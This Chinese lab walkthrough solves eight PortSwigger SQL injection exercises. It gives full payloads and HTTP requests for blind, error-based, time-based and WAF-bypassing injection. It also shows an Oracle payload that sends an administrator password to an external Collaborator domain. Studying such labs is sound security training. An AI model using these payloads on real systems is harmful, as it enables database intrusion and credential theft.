Burp Web Academy SQL 注入(二)

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 SQL Injection(SQL 注入漏洞)。

0x02. SQL Injection

2.1 Lab: Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

You can assume that the password only contains lowercase, alphanumeric characters.

Blind SQL Injection 即盲注,指没有信息回显的场景下的 SQL 注入。

Cookie 如下:

1
2
3
4
5
6
HTTP/2 200 OK
Set-Cookie: TrackingId=T6KH6I5if70PRMUs; Secure; HttpOnly
Set-Cookie: session=r7vmrP73h1PwVnvBdtc0cZqfQagyyJLi; Secure; HttpOnly; SameSite=None
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11402

携带正常的 TrackingId Cookie 访问,会提示 Welcome back!,一种简单的盲注测试方法:

  • 发送 TrackingId=T6KH6I5if70PRMUs' and 1=2--,没有 Welcome back!
  • 发送 TrackingId=T6KH6I5if70PRMUs' and 1=1--,返回 Welcome back!

说明 SQL 注入是存在的!后续测试 Payload 如下:

1
2
3
TrackingId=T6KH6I5if70PRMUs' union select null--
TrackingId=T6KH6I5if70PRMUs' union select 'test'--
TrackingId=T6KH6I5if70PRMUs' union select concat(username,'|',password) from users--

很遗憾,这个方法并不能把查询到的数据返回给攻击者。需要再次利用盲注来爆破 administrator 用户的密码,根据提示,密码字符只包含小写字母和数字。我们已经有了一些已知信息,只需要基于 select password from users where username='administrator' 做一些额外的判断:

  • 密码的长度是多少?
  • 密码中每个字符又是什么?

首先,我们判断密码字符串的长度,在 Burp Intruder 中使用如下模板进行爆破,可以判断出密码长度为 20

1
2
3
GET / HTTP/2
Host: 0a510088044b92e48542530d00610044.web-security-academy.net
Cookie: TrackingId=X' OR (select 'a' from users where username='administrator' and length(password)=§1§)='a'--; session=hepiAR5rSEd4nFgU6SxuKgYzgClLRi2E

随后,我们要依次判断密码字符串中每个字符的值(使用 Cluster bomb 模式):

1
2
3
GET / HTTP/2
Host: 0a510088044b92e48542530d00610044.web-security-academy.net
Cookie: TrackingId=X' OR (select 'a' from users where username='administrator' and substring(password,§1§,1)='§0§')='a'--; session=hepiAR5rSEd4nFgU6SxuKgYzgClLRi2E

请求发送次数为 length(password) * (26 + 10) = 20 * 36 = 720。爆破完成后,对结果进行筛选后排序,即可恢复出密码的内容:

Burp Intruder Blind SQL Injection

2.2 Lab: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

漏洞跟前应该是一样的,只不过没有任何回显了,只能靠错误信息来推测。这里如果 SQL 执行出错,会返回 HTTP/2 500 Internal Server Error

题目提示这是一个 Oracle 数据库,Oracle SQL 支持使用 || 来连接字符串。此外,在 Oracle 中,有一个 dual 表用于测试:

DUAL 表本身只有一行,并且这行数据通常包含一个伪列(虚拟列),其名称为 DUMMY,且其值通常为 'X'。这意味着 DUAL 表实际上并不包含任何实际业务数据,而是用于执行各种SQL操作时的占位符。

判断 SQL 注入:

  • TrackingId=' 返回 500
  • TrackingId=' AND 1=1-- 返回 200

还是参考 SQL Injection Cheat Sheet,测试如下语句,返回 500

1
' union SELECT CASE WHEN (length(username)=13) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'--

而如果把长度改成 13 以外的其他值,则返回 200,说明 Payload 模板是 OK 的。这里的关键点是利用除零错误来抛出异常。

接下来,先使用 Burp Intruder 来爆破密码字段的长度:

1
Cookie: TrackingId=' union SELECT CASE WHEN (length(password)=§0§) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'--; session=onKvT4PGNADwgSnNH9ExSZIiS9zQEtuj

得出长度是 20,然后使用 Cluster bomb 模式来爆破密码(注意 Oracle 中使用 substr 而不是 substring):

1
' union SELECT CASE WHEN (substr(password,§0§,1)='§0§') THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'--

爆破结果:

Burp Intruder Blind SQL Injection

官方解法没有使用 union,而是使用 || 来拼接字符串:

1
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

2.3 Lab: Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

测试如下数据:

1
Cookie: TrackingId=N0uh37abFCkNE6EZ'; session=V0QMalc9YRkLZzqq8aZiEKM0FiL2SL9o

HTML 页面提示错误信息:

1
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'N0uh37abFCkNE6EZ''. Expected  char

这个题目是利用 cast 抛出异常来泄露信息,同时 SQL 查询字符串还有长度限制,所以解法有点取巧。

1
2
3
4
GET / HTTP/2
Host: 0a84005803fd90048144cb7e000e00b8.web-security-academy.net
Cookie: TrackingId='%3bselect cast(username as int) from users limit 1--; session=szltq7Fk49jedcl3hp0Lg6IPGy3rtTN3
Cache-Control: max-age=0

这里用了 ;%3B 来分隔 SQL 语句,通过 limit 1 来泄露第一条数据,实际上就是 administrator

而如果不考虑长度,可以测试 union

1
' union select cast(password as int) from users where username='administrator'--

但实际上会提示(SQL 语句已经截断):

1
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = '' union select cast(password as int) from users where userna'. Expected  char

官方解法:

1
' AND cast((select password from users limit 1) as int)=1--

2.4 Lab: Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

没有任何错误提示,只能慢慢测试,通过 sleep 来判断是否存在 SQL 注入漏洞。

实际上这是一个 PostgreSQL 数据库,使用 pg_sleep(10) 可以实现延时,关键是怎么和 select 进行拼接。由于 pg_sleep 返回 void,所以:

  • 无法通过 union 来拼接(要求列数、类型一致)
  • 无法通过 AND 等拼接(要求 BOOL
  • 因为在 Cookie 中,所以也无法使用 ;

可行的方法如下:

1
Cookie: TrackingId=X' || pg_sleep(10)--; session=yMtu8nt3WDEDhimQZN3Cq6hbBTmZMmKe

在 PostgreSQL 中,|| 用于拼接字符串,而 void 可以和字符串拼接,尽管不产生任何作用。

1
select 'a'||pg_sleep(1)||'b' -- ab

此外,如下方法也可以:

1
Cookie: TrackingId=X' OR pg_sleep(10) is null--; session=yMtu8nt3WDEDhimQZN3Cq6hbBTmZMmKe

2.5 Lab: Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

首先,通过如下语句,可以确认数据库类型为 PostgreSQL:

1
TrackingId=mFKKwlWqebWsnHxd'||pg_sleep(10)--;

接下来,需要一步一步测试出爆破的模板:

1)首先,我们的目标是需要先测试 password 字段的长度,看起来应该这么写 SQL:

1
2
3
4
5
6
X' union
select
case when (length(password)=20) then pg_sleep(10) else pg_sleep(0) end
from
users
where username='administrator'--

2)我们可以先使用 username 来测试:

1
2
3
4
5
6
X' union
select
case when (length(username)=13) then pg_sleep(10) else pg_sleep(0) end
from
users
where username='administrator'--

3)这里会出错,因为不管是什么条件,这里 select 都返回 void,是没办法满足 union

4)考虑到上一题的解法,这里使用 || 来拼接字符串:

1
2
3
4
5
6
X' union
select
case when (length(username)=13) then pg_sleep(10)||'a' else pg_sleep(0)||'b' end
from
users
where username='administrator'--

5)这里还只有 1 列数据,我们可以先测试是否存在时延,如果是则说明就只有一列数据,否则还需要测试出数据列数

6)实际测试表明,确实只有一列数据

现在,爆破模板确认了,就可以测试出密码字段的长度了,模板如下:

1
2
3
4
5
6
X' union
select
case when (length(password)=§1§) then pg_sleep(10)||'a' else pg_sleep(0)||'b' end
from
users
where username='administrator'--

Burp Intruder 中,确认时延的方法在 Burp Web Academy 鉴权漏洞 有讲,可以参考之。实际测试结果表明,密码字段的长度还是 20。接下来,就需要挨个爆破密码字符了,题目本身没给提示,但我想密码字符应该还是 0123456789abcdefghijklmnopqrstuvwxyz

使用 Cluster Bomb 模式攻击:

1
X' union select case when (substring(password,§1§,1)='§0§') then pg_sleep(20)||'a' else pg_sleep(0)||'b' end from users where username='administrator'--

注意,这里盲注的时延要设大一点,否则很可能难以和正常的请求区分开来(如果网络本身不是很好的话);最终的密码为 mw478rp4wz48m035ssf9

2.6 Lab: Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

参考了答案(是 Oracle 数据库),Payload 从 SQL injection cheat sheet 复制,替换 Burp Collaborator 域名,然后对 %; 进行 URL 编码即可。

1
2
3
4
GET / HTTP/2
Host: 0ac1009003df5d54805cb37500da0049.web-security-academy.net
Cookie: TrackingId=' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://f9pxrqzetanfzr6kfshia78kwb22qtei.oastify.com"> %25remote%3b]>'),'/l') FROM dual--; session=p0mhOZJU9yvs3bv2YKv9QSjTelwFasGO
Cache-Control: max-age=0

2.7 Lab: Blind SQL injection with out-of-band data exfiltration

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

直接套用 Cheat Sheet 的 Oracle Payload:

1
2
3
4
GET / HTTP/2
Host: 0afc009d0396880a82f117540021000b.web-security-academy.net
Cookie: TrackingId=' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.f9pxrqzetanfzr6kfshia78kwb22qtei.oastify.com"> %25remote%3b]>'),'/l') FROM dual--; session=z6RTZ5PsrOakJCiknhTe0NsoOPH4MXaS
Cache-Control: max-age=0

2.8 Lab: SQL injection with filter bypass via XML encoding

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.

The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.

发送带有特殊字符串的 Payload:

1
2
3
4
5
6
7
8
9
10
11
POST /product/stock HTTP/2
Host: 0a89005704e3d43981af947300e800c3.web-security-academy.net
Cookie: session=MZOrHlbwdfeEozaSDZpAt3hzCJr7PNJD
Content-Length: 116
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1'</productId>
<storeId>2</storeId>
</stockCheck>

会提示检测到攻击行为:

1
2
3
4
5
6
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

"Attack detected"

参考官方答案:

1
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>

这里用到了一个名为 Hackvertor 的 Burp 插件,使用了他提供的 hex_entities 编码功能。查了一下,XML 支持使用 16 进制来编码 Unicode 字符:

Hexadecimal entities in XML are a way to represent characters using their Unicode code points. They are written in the format &#xHHHH;, where HHHH is the hexadecimal code of the character. This is useful for encoding special characters, symbols, or non-ASCII characters within an XML document.

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<message>
<text>This is a smiley face: &#x1F600;</text> <!-- 😀 -->
<text>This is a heart: &#x2764;</text> <!-- ❤ -->
<text>This is a check mark: &#x2713;</text> <!-- ✓ -->
</message>

知道了原理,我们就可以自己实现,而不用借助于插件了。而且测试下来发现,WAF 只检测了 union/select/',所以也可以简单点:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1 &#x0055;NION &#x0053;ELECT username || &#x0027;~&#x0027; || password FROM users</storeId>
</stockCheck>

HTTP Response 直接返回了查询结果:

1
2
3
4
5
6
7
8
9
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 100

wiener~qdfzjzdq698vwhelo3xb
administrator~e2woyn4r8l19954m2vis
carlos~fa41qa981t9av3jvlsqs
838 units

0x03. 小结

  • SQL injection cheat sheet
  • 盲注场景下的数据库表字段的值爆破
    • length
    • substring
      • Oracle 使用 substr
  • 基于延时的盲注
    • 合理设置盲注时延,防止网络本身的延迟或者不稳定产生干扰
  • XML 16 进制编码
    • &#xHHHH;
  • 充分利用服务器返回的错误信息来推断后台的运行逻辑

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#sql-injection
  2. https://portswigger.net/web-security/sql-injection/cheat-sheet